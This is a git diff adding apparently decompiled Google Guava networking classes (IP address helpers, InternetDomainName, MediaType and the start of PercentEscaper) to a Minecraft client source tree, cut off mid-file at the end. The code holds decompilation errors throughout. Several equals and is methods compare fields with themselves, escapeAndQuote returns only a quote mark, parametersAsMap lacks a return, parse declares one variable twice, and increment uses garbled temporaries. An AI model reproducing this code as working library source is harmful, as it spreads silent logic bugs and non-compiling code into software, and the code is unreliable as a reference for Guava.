+    return (bytes[9] == 0) && (bytes[10] == 94) && (bytes[11] == -2);
+  }
+  
+
+
+
+
+
+
+
+  public static Inet4Address getIsatapIPv4Address(Inet6Address ip)
+  {
+    Preconditions.checkArgument(isIsatapAddress(ip), "Address '%s' is not an ISATAP address.", new Object[] { toAddrString(ip) });
+    
+
+    return getInet4Address(Arrays.copyOfRange(ip.getAddress(), 12, 16));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean hasEmbeddedIPv4ClientAddress(Inet6Address ip)
+  {
+    return (isCompatIPv4Address(ip)) || (is6to4Address(ip)) || (isTeredoAddress(ip));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Inet4Address getEmbeddedIPv4ClientAddress(Inet6Address ip)
+  {
+    if (isCompatIPv4Address(ip)) {
+      return getCompatIPv4Address(ip);
+    }
+    
+    if (is6to4Address(ip)) {
+      return get6to4IPv4Address(ip);
+    }
+    
+    if (isTeredoAddress(ip)) {
+      return getTeredoInfo(ip).getClient();
+    }
+    
+    throw new IllegalArgumentException(String.format("'%s' has no embedded IPv4 address.", new Object[] { toAddrString(ip) }));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isMappedIPv4Address(String ipString)
+  {
+    byte[] bytes = ipStringToBytes(ipString);
+    if ((bytes != null) && (bytes.length == 16)) {
+      for (int i = 0; i < 10; i++) {
+        if (bytes[i] != 0) {
+          return false;
+        }
+      }
+      for (int i = 10; i < 12; i++) {
+        if (bytes[i] != -1) {
+          return false;
+        }
+      }
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Inet4Address getCoercedIPv4Address(InetAddress ip)
+  {
+    if ((ip instanceof Inet4Address)) {
+      return (Inet4Address)ip;
+    }
+    
+
+    byte[] bytes = ip.getAddress();
+    boolean leadingBytesOfZero = true;
+    for (int i = 0; i < 15; i++) {
+      if (bytes[i] != 0) {
+        leadingBytesOfZero = false;
+        break;
+      }
+    }
+    if ((leadingBytesOfZero) && (bytes[15] == 1))
+      return LOOPBACK4;
+    if ((leadingBytesOfZero) && (bytes[15] == 0)) {
+      return ANY4;
+    }
+    
+    Inet6Address ip6 = (Inet6Address)ip;
+    long addressAsLong = 0L;
+    if (hasEmbeddedIPv4ClientAddress(ip6)) {
+      addressAsLong = getEmbeddedIPv4ClientAddress(ip6).hashCode();
+    }
+    else
+    {
+      addressAsLong = ByteBuffer.wrap(ip6.getAddress(), 0, 8).getLong();
+    }
+    
+
+    int coercedHash = Hashing.murmur3_32().hashLong(addressAsLong).asInt();
+    
+
+    coercedHash |= 0xE0000000;
+    
+
+
+    if (coercedHash == -1) {
+      coercedHash = -2;
+    }
+    
+    return getInet4Address(Ints.toByteArray(coercedHash));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int coerceToInteger(InetAddress ip)
+  {
+    return ByteStreams.newDataInput(getCoercedIPv4Address(ip).getAddress()).readInt();
+  }
+  
+
+
+
+
+
+
+  public static Inet4Address fromInteger(int address)
+  {
+    return getInet4Address(Ints.toByteArray(address));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static InetAddress fromLittleEndianByteArray(byte[] addr)
+    throws UnknownHostException
+  {
+    byte[] reversed = new byte[addr.length];
+    for (int i = 0; i < addr.length; i++) {
+      reversed[i] = addr[(addr.length - i - 1)];
+    }
+    return InetAddress.getByAddress(reversed);
+  }
+  
+
+
+
+
+
+
+
+
+  public static InetAddress increment(InetAddress address)
+  {
+    byte[] addr = address.getAddress();
+    int i = addr.length - 1;
+    while ((i >= 0) && (addr[i] == -1)) {
+      addr[i] = 0;
+      i--;
+    }
+    
+    Preconditions.checkArgument(i >= 0, "Incrementing %s would wrap.", new Object[] { address }); int 
+    
+      tmp55_54 = i; byte[] tmp55_53 = addr;tmp55_53[tmp55_54] = ((byte)(tmp55_53[tmp55_54] + 1));
+    return bytesToInetAddress(addr);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isMaximum(InetAddress address)
+  {
+    byte[] addr = address.getAddress();
+    for (int i = 0; i < addr.length; i++) {
+      if (addr[i] != -1) {
+        return false;
+      }
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/com/google/common/net/InternetDomainName.java b/src/minecraft/com/google/common/net/InternetDomainName.java
new file mode 100644
index 0000000..d9576d0
--- /dev/null
+++ b/src/minecraft/com/google/common/net/InternetDomainName.java
@@ -0,0 +1,547 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Ascii;
+import com.google.common.base.CharMatcher;
+import com.google.common.base.Joiner;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Splitter;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableMap;
+import com.google.thirdparty.publicsuffix.PublicSuffixPatterns;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class InternetDomainName
+{
+  private static final CharMatcher DOTS_MATCHER = CharMatcher.anyOf(".。．｡");
+  
+  private static final Splitter DOT_SPLITTER = Splitter.on('.');
+  private static final Joiner DOT_JOINER = Joiner.on('.');
+  
+
+
+
+
+
+  private static final int NO_PUBLIC_SUFFIX_FOUND = -1;
+  
+
+
+
+
+
+  private static final String DOT_REGEX = "\\.";
+  
+
+
+
+
+
+  private static final int MAX_PARTS = 127;
+  
+
+
+
+
+
+  private static final int MAX_LENGTH = 253;
+  
+
+
+
+
+  private static final int MAX_DOMAIN_PART_LENGTH = 63;
+  
+
+
+
+
+  private final String name;
+  
+
+
+
+
+  private final ImmutableList<String> parts;
+  
+
+
+
+
+  private final int publicSuffixIndex;
+  
+
+
+
+
+
+  InternetDomainName(String name)
+  {
+    name = Ascii.toLowerCase(DOTS_MATCHER.replaceFrom(name, '.'));
+    
+    if (name.endsWith(".")) {
+      name = name.substring(0, name.length() - 1);
+    }
+    
+    Preconditions.checkArgument(name.length() <= 253, "Domain name too long: '%s':", new Object[] { name });
+    
+    this.name = name;
+    
+    parts = ImmutableList.copyOf(DOT_SPLITTER.split(name));
+    Preconditions.checkArgument(parts.size() <= 127, "Domain has too many parts: '%s'", new Object[] { name });
+    
+    Preconditions.checkArgument(validateSyntax(parts), "Not a valid domain name: '%s'", new Object[] { name });
+    
+    publicSuffixIndex = findPublicSuffix();
+  }
+  
+
+
+
+
+
+  private int findPublicSuffix()
+  {
+    int partsSize = parts.size();
+    
+    for (int i = 0; i < partsSize; i++) {
+      String ancestorName = DOT_JOINER.join(parts.subList(i, partsSize));
+      
+      if (PublicSuffixPatterns.EXACT.containsKey(ancestorName)) {
+        return i;
+      }
+      
+
+
+
+      if (PublicSuffixPatterns.EXCLUDED.containsKey(ancestorName)) {
+        return i + 1;
+      }
+      
+      if (matchesWildcardPublicSuffix(ancestorName)) {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static InternetDomainName from(String domain)
+  {
+    return new InternetDomainName((String)Preconditions.checkNotNull(domain));
+  }
+  
+
+
+
+
+
+  private static boolean validateSyntax(List<String> parts)
+  {
+    int lastIndex = parts.size() - 1;
+    
+
+
+    if (!validatePart((String)parts.get(lastIndex), true)) {
+      return false;
+    }
+    
+    for (int i = 0; i < lastIndex; i++) {
+      String part = (String)parts.get(i);
+      if (!validatePart(part, false)) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  private static final CharMatcher DASH_MATCHER = CharMatcher.anyOf("-_");
+  
+  private static final CharMatcher PART_CHAR_MATCHER = CharMatcher.JAVA_LETTER_OR_DIGIT.or(DASH_MATCHER);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static boolean validatePart(String part, boolean isFinalPart)
+  {
+    if ((part.length() < 1) || (part.length() > 63)) {
+      return false;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    String asciiChars = CharMatcher.ASCII.retainFrom(part);
+    
+    if (!PART_CHAR_MATCHER.matchesAllOf(asciiChars)) {
+      return false;
+    }
+    
+
+
+    if ((DASH_MATCHER.matches(part.charAt(0))) || (DASH_MATCHER.matches(part.charAt(part.length() - 1))))
+    {
+      return false;
+    }
+    
+
+
+
+
+
+
+
+
+    if ((isFinalPart) && (CharMatcher.DIGIT.matches(part.charAt(0)))) {
+      return false;
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public ImmutableList<String> parts()
+  {
+    return parts;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isPublicSuffix()
+  {
+    return publicSuffixIndex == 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean hasPublicSuffix()
+  {
+    return publicSuffixIndex != -1;
+  }
+  
+
+
+
+
+
+  public InternetDomainName publicSuffix()
+  {
+    return hasPublicSuffix() ? ancestor(publicSuffixIndex) : null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isUnderPublicSuffix()
+  {
+    return publicSuffixIndex > 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isTopPrivateDomain()
+  {
+    return publicSuffixIndex == 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public InternetDomainName topPrivateDomain()
+  {
+    if (isTopPrivateDomain()) {
+      return this;
+    }
+    Preconditions.checkState(isUnderPublicSuffix(), "Not under a public suffix: %s", new Object[] { name });
+    return ancestor(publicSuffixIndex - 1);
+  }
+  
+
+
+  public boolean hasParent()
+  {
+    return parts.size() > 1;
+  }
+  
+
+
+
+
+
+
+
+  public InternetDomainName parent()
+  {
+    Preconditions.checkState(hasParent(), "Domain '%s' has no parent", new Object[] { name });
+    return ancestor(1);
+  }
+  
+
+
+
+
+
+
+
+  private InternetDomainName ancestor(int levels)
+  {
+    return from(DOT_JOINER.join(parts.subList(levels, parts.size())));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public InternetDomainName child(String leftParts)
+  {
+    return from((String)Preconditions.checkNotNull(leftParts) + "." + name);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isValid(String name)
+  {
+    try
+    {
+      from(name);
+      return true;
+    } catch (IllegalArgumentException e) {}
+    return false;
+  }
+  
+
+
+
+
+  private static boolean matchesWildcardPublicSuffix(String domain)
+  {
+    String[] pieces = domain.split("\\.", 2);
+    return (pieces.length == 2) && (PublicSuffixPatterns.UNDER.containsKey(pieces[1]));
+  }
+  
+
+
+
+  public String toString()
+  {
+    return name;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(@Nullable Object object)
+  {
+    if (object == this) {
+      return true;
+    }
+    
+    if ((object instanceof InternetDomainName)) {
+      InternetDomainName that = (InternetDomainName)object;
+      return name.equals(name);
+    }
+    
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return name.hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/common/net/MediaType.java b/src/minecraft/com/google/common/net/MediaType.java
new file mode 100644
index 0000000..01cd9a0
--- /dev/null
+++ b/src/minecraft/com/google/common/net/MediaType.java
@@ -0,0 +1,718 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Ascii;
+import com.google.common.base.CharMatcher;
+import com.google.common.base.Charsets;
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.base.Joiner.MapJoiner;
+import com.google.common.base.Objects;
+import com.google.common.base.Optional;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableCollection;
+import com.google.common.collect.ImmutableListMultimap;
+import com.google.common.collect.ImmutableListMultimap.Builder;
+import com.google.common.collect.ImmutableMultiset;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Multimap;
+import com.google.common.collect.Multimaps;
+import java.nio.charset.Charset;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.Immutable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+@Immutable
+public final class MediaType
+{
+  private static final String CHARSET_ATTRIBUTE = "charset";
+  private static final ImmutableListMultimap<String, String> UTF_8_CONSTANT_PARAMETERS = ImmutableListMultimap.of("charset", Ascii.toLowerCase(Charsets.UTF_8.name()));
+  
+
+
+  private static final CharMatcher TOKEN_MATCHER = CharMatcher.ASCII.and(CharMatcher.JAVA_ISO_CONTROL.negate()).and(CharMatcher.isNot(' ')).and(CharMatcher.noneOf("()<>@,;:\\\"/[]?="));
+  
+
+  private static final CharMatcher QUOTED_TEXT_MATCHER = CharMatcher.ASCII.and(CharMatcher.noneOf("\"\\\r"));
+  
+
+
+
+
+  private static final CharMatcher LINEAR_WHITE_SPACE = CharMatcher.anyOf(" \t\r\n");
+  
+  private static final String APPLICATION_TYPE = "application";
+  
+  private static final String AUDIO_TYPE = "audio";
+  
+  private static final String IMAGE_TYPE = "image";
+  
+  private static final String TEXT_TYPE = "text";
+  private static final String VIDEO_TYPE = "video";
+  private static final String WILDCARD = "*";
+  private static final Map<MediaType, MediaType> KNOWN_TYPES = Maps.newHashMap();
+  
+  private static MediaType createConstant(String type, String subtype) {
+    return addKnownType(new MediaType(type, subtype, ImmutableListMultimap.of()));
+  }
+  
+  private static MediaType createConstantUtf8(String type, String subtype) {
+    return addKnownType(new MediaType(type, subtype, UTF_8_CONSTANT_PARAMETERS));
+  }
+  
+  private static MediaType addKnownType(MediaType mediaType) {
+    KNOWN_TYPES.put(mediaType, mediaType);
+    return mediaType;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static final MediaType ANY_TYPE = createConstant("*", "*");
+  public static final MediaType ANY_TEXT_TYPE = createConstant("text", "*");
+  public static final MediaType ANY_IMAGE_TYPE = createConstant("image", "*");
+  public static final MediaType ANY_AUDIO_TYPE = createConstant("audio", "*");
+  public static final MediaType ANY_VIDEO_TYPE = createConstant("video", "*");
+  public static final MediaType ANY_APPLICATION_TYPE = createConstant("application", "*");
+  
+
+  public static final MediaType CACHE_MANIFEST_UTF_8 = createConstantUtf8("text", "cache-manifest");
+  
+  public static final MediaType CSS_UTF_8 = createConstantUtf8("text", "css");
+  public static final MediaType CSV_UTF_8 = createConstantUtf8("text", "csv");
+  public static final MediaType HTML_UTF_8 = createConstantUtf8("text", "html");
+  public static final MediaType I_CALENDAR_UTF_8 = createConstantUtf8("text", "calendar");
+  public static final MediaType PLAIN_TEXT_UTF_8 = createConstantUtf8("text", "plain");
+  
+
+
+
+
+  public static final MediaType TEXT_JAVASCRIPT_UTF_8 = createConstantUtf8("text", "javascript");
+  
+
+
+
+
+
+  public static final MediaType TSV_UTF_8 = createConstantUtf8("text", "tab-separated-values");
+  public static final MediaType VCARD_UTF_8 = createConstantUtf8("text", "vcard");
+  public static final MediaType WML_UTF_8 = createConstantUtf8("text", "vnd.wap.wml");
+  
+
+
+
+
+  public static final MediaType XML_UTF_8 = createConstantUtf8("text", "xml");
+  
+
+  public static final MediaType BMP = createConstant("image", "bmp");
+  
+
+
+
+
+
+
+
+
+  public static final MediaType CRW = createConstant("image", "x-canon-crw");
+  public static final MediaType GIF = createConstant("image", "gif");
+  public static final MediaType ICO = createConstant("image", "vnd.microsoft.icon");
+  public static final MediaType JPEG = createConstant("image", "jpeg");
+  public static final MediaType PNG = createConstant("image", "png");
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final MediaType PSD = createConstant("image", "vnd.adobe.photoshop");
+  public static final MediaType SVG_UTF_8 = createConstantUtf8("image", "svg+xml");
+  public static final MediaType TIFF = createConstant("image", "tiff");
+  public static final MediaType WEBP = createConstant("image", "webp");
+  
+
+  public static final MediaType MP4_AUDIO = createConstant("audio", "mp4");
+  public static final MediaType MPEG_AUDIO = createConstant("audio", "mpeg");
+  public static final MediaType OGG_AUDIO = createConstant("audio", "ogg");
+  public static final MediaType WEBM_AUDIO = createConstant("audio", "webm");
+  
+
+  public static final MediaType MP4_VIDEO = createConstant("video", "mp4");
+  public static final MediaType MPEG_VIDEO = createConstant("video", "mpeg");
+  public static final MediaType OGG_VIDEO = createConstant("video", "ogg");
+  public static final MediaType QUICKTIME = createConstant("video", "quicktime");
+  public static final MediaType WEBM_VIDEO = createConstant("video", "webm");
+  public static final MediaType WMV = createConstant("video", "x-ms-wmv");
+  
+
+
+
+
+
+
+  public static final MediaType APPLICATION_XML_UTF_8 = createConstantUtf8("application", "xml");
+  public static final MediaType ATOM_UTF_8 = createConstantUtf8("application", "atom+xml");
+  public static final MediaType BZIP2 = createConstant("application", "x-bzip2");
+  
+
+
+
+
+
+
+
+  public static final MediaType EOT = createConstant("application", "vnd.ms-fontobject");
+  
+
+
+
+
+
+
+
+
+  public static final MediaType EPUB = createConstant("application", "epub+zip");
+  public static final MediaType FORM_DATA = createConstant("application", "x-www-form-urlencoded");
+  
+
+
+
+
+
+
+
+  public static final MediaType KEY_ARCHIVE = createConstant("application", "pkcs12");
+  
+
+
+
+
+
+
+
+
+
+
+  public static final MediaType APPLICATION_BINARY = createConstant("application", "binary");
+  public static final MediaType GZIP = createConstant("application", "x-gzip");
+  
+
+
+
+
+  public static final MediaType JAVASCRIPT_UTF_8 = createConstantUtf8("application", "javascript");
+  
+  public static final MediaType JSON_UTF_8 = createConstantUtf8("application", "json");
+  public static final MediaType KML = createConstant("application", "vnd.google-earth.kml+xml");
+  public static final MediaType KMZ = createConstant("application", "vnd.google-earth.kmz");
+  public static final MediaType MBOX = createConstant("application", "mbox");
+  public static final MediaType MICROSOFT_EXCEL = createConstant("application", "vnd.ms-excel");
+  public static final MediaType MICROSOFT_POWERPOINT = createConstant("application", "vnd.ms-powerpoint");
+  
+  public static final MediaType MICROSOFT_WORD = createConstant("application", "msword");
+  public static final MediaType OCTET_STREAM = createConstant("application", "octet-stream");
+  public static final MediaType OGG_CONTAINER = createConstant("application", "ogg");
+  public static final MediaType OOXML_DOCUMENT = createConstant("application", "vnd.openxmlformats-officedocument.wordprocessingml.document");
+  
+  public static final MediaType OOXML_PRESENTATION = createConstant("application", "vnd.openxmlformats-officedocument.presentationml.presentation");
+  
+  public static final MediaType OOXML_SHEET = createConstant("application", "vnd.openxmlformats-officedocument.spreadsheetml.sheet");
+  
+  public static final MediaType OPENDOCUMENT_GRAPHICS = createConstant("application", "vnd.oasis.opendocument.graphics");
+  
+  public static final MediaType OPENDOCUMENT_PRESENTATION = createConstant("application", "vnd.oasis.opendocument.presentation");
+  
+  public static final MediaType OPENDOCUMENT_SPREADSHEET = createConstant("application", "vnd.oasis.opendocument.spreadsheet");
+  
+  public static final MediaType OPENDOCUMENT_TEXT = createConstant("application", "vnd.oasis.opendocument.text");
+  
+  public static final MediaType PDF = createConstant("application", "pdf");
+  public static final MediaType POSTSCRIPT = createConstant("application", "postscript");
+  
+
+
+
+
+  public static final MediaType PROTOBUF = createConstant("application", "protobuf");
+  public static final MediaType RDF_XML_UTF_8 = createConstantUtf8("application", "rdf+xml");
+  public static final MediaType RTF_UTF_8 = createConstantUtf8("application", "rtf");
+  
+
+
+
+
+
+
+
+
+  public static final MediaType SFNT = createConstant("application", "font-sfnt");
+  public static final MediaType SHOCKWAVE_FLASH = createConstant("application", "x-shockwave-flash");
+  
+  public static final MediaType SKETCHUP = createConstant("application", "vnd.sketchup.skp");
+  public static final MediaType TAR = createConstant("application", "x-tar");
+  
+
+
+
+
+
+
+
+
+  public static final MediaType WOFF = createConstant("application", "font-woff");
+  public static final MediaType XHTML_UTF_8 = createConstantUtf8("application", "xhtml+xml");
+  
+
+
+
+
+
+
+  public static final MediaType XRD_UTF_8 = createConstantUtf8("application", "xrd+xml");
+  public static final MediaType ZIP = createConstant("application", "zip");
+  
+  private final String type;
+  private final String subtype;
+  private final ImmutableListMultimap<String, String> parameters;
+  
+  private MediaType(String type, String subtype, ImmutableListMultimap<String, String> parameters)
+  {
+    this.type = type;
+    this.subtype = subtype;
+    this.parameters = parameters;
+  }
+  
+  public String type()
+  {
+    return type;
+  }
+  
+  public String subtype()
+  {
+    return subtype;
+  }
+  
+  public ImmutableListMultimap<String, String> parameters()
+  {
+    return parameters;
+  }
+  
+  private Map<String, ImmutableMultiset<String>> parametersAsMap() {
+    Maps.transformValues(parameters.asMap(), new Function()
+    {
+      public ImmutableMultiset<String> apply(Collection<String> input) {
+        return ImmutableMultiset.copyOf(input);
+      }
+    });
+  }
+  
+
+
+
+
+
+
+
+  public Optional<Charset> charset()
+  {
+    ImmutableSet<String> charsetValues = ImmutableSet.copyOf(parameters.get("charset"));
+    switch (charsetValues.size()) {
+    case 0: 
+      return Optional.absent();
+    case 1: 
+      return Optional.of(Charset.forName((String)Iterables.getOnlyElement(charsetValues)));
+    }
+    throw new IllegalStateException("Multiple charset values defined: " + charsetValues);
+  }
+  
+
+
+
+
+  public MediaType withoutParameters()
+  {
+    return parameters.isEmpty() ? this : create(type, subtype);
+  }
+  
+
+
+
+
+  public MediaType withParameters(Multimap<String, String> parameters)
+  {
+    return create(type, subtype, parameters);
+  }
+  
+
+
+
+
+
+
+
+  public MediaType withParameter(String attribute, String value)
+  {
+    Preconditions.checkNotNull(attribute);
+    Preconditions.checkNotNull(value);
+    String normalizedAttribute = normalizeToken(attribute);
+    ImmutableListMultimap.Builder<String, String> builder = ImmutableListMultimap.builder();
+    for (Map.Entry<String, String> entry : parameters.entries()) {
+      String key = (String)entry.getKey();
+      if (!normalizedAttribute.equals(key)) {
+        builder.put(key, entry.getValue());
+      }
+    }
+    builder.put(normalizedAttribute, normalizeParameterValue(normalizedAttribute, value));
+    MediaType mediaType = new MediaType(type, subtype, builder.build());
+    
+    return (MediaType)Objects.firstNonNull(KNOWN_TYPES.get(mediaType), mediaType);
+  }
+  
+
+
+
+
+
+
+
+
+  public MediaType withCharset(Charset charset)
+  {
+    Preconditions.checkNotNull(charset);
+    return withParameter("charset", charset.name());
+  }
+  
+  public boolean hasWildcard()
+  {
+    return ("*".equals(type)) || ("*".equals(subtype));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean is(MediaType mediaTypeRange)
+  {
+    return ((type.equals("*")) || (type.equals(type))) && ((subtype.equals("*")) || (subtype.equals(subtype))) && (parameters.entries().containsAll(parameters.entries()));
+  }
+  
+
+
+
+
+
+
+
+  public static MediaType create(String type, String subtype)
+  {
+    return create(type, subtype, ImmutableListMultimap.of());
+  }
+  
+
+
+
+
+  static MediaType createApplicationType(String subtype)
+  {
+    return create("application", subtype);
+  }
+  
+
+
+
+
+  static MediaType createAudioType(String subtype)
+  {
+    return create("audio", subtype);
+  }
+  
+
+
+
+
+  static MediaType createImageType(String subtype)
+  {
+    return create("image", subtype);
+  }
+  
+
+
+
+
+  static MediaType createTextType(String subtype)
+  {
+    return create("text", subtype);
+  }
+  
+
+
+
+
+  static MediaType createVideoType(String subtype)
+  {
+    return create("video", subtype);
+  }
+  
+  private static MediaType create(String type, String subtype, Multimap<String, String> parameters)
+  {
+    Preconditions.checkNotNull(type);
+    Preconditions.checkNotNull(subtype);
+    Preconditions.checkNotNull(parameters);
+    String normalizedType = normalizeToken(type);
+    String normalizedSubtype = normalizeToken(subtype);
+    Preconditions.checkArgument((!"*".equals(normalizedType)) || ("*".equals(normalizedSubtype)), "A wildcard type cannot be used with a non-wildcard subtype");
+    
+    ImmutableListMultimap.Builder<String, String> builder = ImmutableListMultimap.builder();
+    for (Map.Entry<String, String> entry : parameters.entries()) {
+      String attribute = normalizeToken((String)entry.getKey());
+      builder.put(attribute, normalizeParameterValue(attribute, (String)entry.getValue()));
+    }
+    MediaType mediaType = new MediaType(normalizedType, normalizedSubtype, builder.build());
+    
+    return (MediaType)Objects.firstNonNull(KNOWN_TYPES.get(mediaType), mediaType);
+  }
+  
+  private static String normalizeToken(String token) {
+    Preconditions.checkArgument(TOKEN_MATCHER.matchesAllOf(token));
+    return Ascii.toLowerCase(token);
+  }
+  
+  private static String normalizeParameterValue(String attribute, String value) {
+    return "charset".equals(attribute) ? Ascii.toLowerCase(value) : value;
+  }
+  
+
+
+
+
+  public static MediaType parse(String input)
+  {
+    Preconditions.checkNotNull(input);
+    Tokenizer tokenizer = new Tokenizer(input);
+    try {
+      String type = tokenizer.consumeToken(TOKEN_MATCHER);
+      tokenizer.consumeCharacter('/');
+      String subtype = tokenizer.consumeToken(TOKEN_MATCHER);
+      ImmutableListMultimap.Builder<String, String> parameters = ImmutableListMultimap.builder();
+      while (tokenizer.hasMore()) {
+        tokenizer.consumeCharacter(';');
+        tokenizer.consumeTokenIfPresent(LINEAR_WHITE_SPACE);
+        String attribute = tokenizer.consumeToken(TOKEN_MATCHER);
+        tokenizer.consumeCharacter('=');
+        String value;
+        if ('"' == tokenizer.previewChar()) {
+          tokenizer.consumeCharacter('"');
+          StringBuilder valueBuilder = new StringBuilder();
+          while ('"' != tokenizer.previewChar()) {
+            if ('\\' == tokenizer.previewChar()) {
+              tokenizer.consumeCharacter('\\');
+              valueBuilder.append(tokenizer.consumeCharacter(CharMatcher.ASCII));
+            } else {
+              valueBuilder.append(tokenizer.consumeToken(QUOTED_TEXT_MATCHER));
+            }
+          }
+          String value = valueBuilder.toString();
+          tokenizer.consumeCharacter('"');
+        } else {
+          value = tokenizer.consumeToken(TOKEN_MATCHER);
+        }
+        parameters.put(attribute, value);
+      }
+      return create(type, subtype, parameters.build());
+    } catch (IllegalStateException e) {
+      throw new IllegalArgumentException("Could not parse '" + input + "'", e);
+    }
+  }
+  
+  private static final class Tokenizer {
+    final String input;
+    int position = 0;
+    
+    Tokenizer(String input) {
+      this.input = input;
+    }
+    
+    String consumeTokenIfPresent(CharMatcher matcher) {
+      Preconditions.checkState(hasMore());
+      int startPosition = position;
+      position = matcher.negate().indexIn(input, startPosition);
+      return hasMore() ? input.substring(startPosition, position) : input.substring(startPosition);
+    }
+    
+    String consumeToken(CharMatcher matcher) {
+      int startPosition = position;
+      String token = consumeTokenIfPresent(matcher);
+      Preconditions.checkState(position != startPosition);
+      return token;
+    }
+    
+    char consumeCharacter(CharMatcher matcher) {
+      Preconditions.checkState(hasMore());
+      char c = previewChar();
+      Preconditions.checkState(matcher.matches(c));
+      position += 1;
+      return c;
+    }
+    
+    char consumeCharacter(char c) {
+      Preconditions.checkState(hasMore());
+      Preconditions.checkState(previewChar() == c);
+      position += 1;
+      return c;
+    }
+    
+    char previewChar() {
+      Preconditions.checkState(hasMore());
+      return input.charAt(position);
+    }
+    
+    boolean hasMore() {
+      return (position >= 0) && (position < input.length());
+    }
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    if (obj == this)
+      return true;
+    if ((obj instanceof MediaType)) {
+      MediaType that = (MediaType)obj;
+      return (type.equals(type)) && (subtype.equals(subtype)) && (parametersAsMap().equals(that.parametersAsMap()));
+    }
+    
+
+
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return Objects.hashCode(new Object[] { type, subtype, parametersAsMap() });
+  }
+  
+  private static final Joiner.MapJoiner PARAMETER_JOINER = Joiner.on("; ").withKeyValueSeparator("=");
+  
+
+
+
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder().append(type).append('/').append(subtype);
+    if (!parameters.isEmpty()) {
+      builder.append("; ");
+      Multimap<String, String> quotedParameters = Multimaps.transformValues(parameters, new Function()
+      {
+        public String apply(String value) {
+          return MediaType.TOKEN_MATCHER.matchesAllOf(value) ? value : MediaType.escapeAndQuote(value);
+        }
+      });
+      PARAMETER_JOINER.appendTo(builder, quotedParameters.entries());
+    }
+    return builder.toString();
+  }
+  
+  private static String escapeAndQuote(String value) {
+    StringBuilder escaped = new StringBuilder(value.length() + 16).append('"');
+    for (char ch : value.toCharArray()) {
+      if ((ch == '\r') || (ch == '\\') || (ch == '"')) {
+        escaped.append('\\');
+      }
+      escaped.append(ch);
+    }
+    return '"';
+  }
+}
diff --git a/src/minecraft/com/google/common/net/PercentEscaper.java b/src/minecraft/com/google/common/net/PercentEscaper.java
new file mode 100644
index 0000000..3ed8de2
--- /dev/null
+++ b/src/minecraft/com/google/common/net/PercentEscaper.java
@@ -0,0 +1,249 @@
+package com.google.common.net;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.escape.UnicodeEscaper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class PercentEscaper
+  extends UnicodeEscaper
+{
+  private static final char[] PLUS_SIGN = { '+' };
+  
+
+  private static final char[] UPPER_HEX_DIGITS = "0123456789ABCDEF".toCharArray();
+  
+
+
+
+
+
+
+
+
+  private final boolean plusForSpace;
+  
+
+
+
+
+
+
+
+
+  private final boolean[] safeOctets;
+  
+
+
+
+
+
+
+
+
+
+  public PercentEscaper(String safeChars, boolean plusForSpace)
+  {
+    Preconditions.checkNotNull(safeChars);
+    
+    if (safeChars.matches(".*[0-9A-Za-z].*")) {
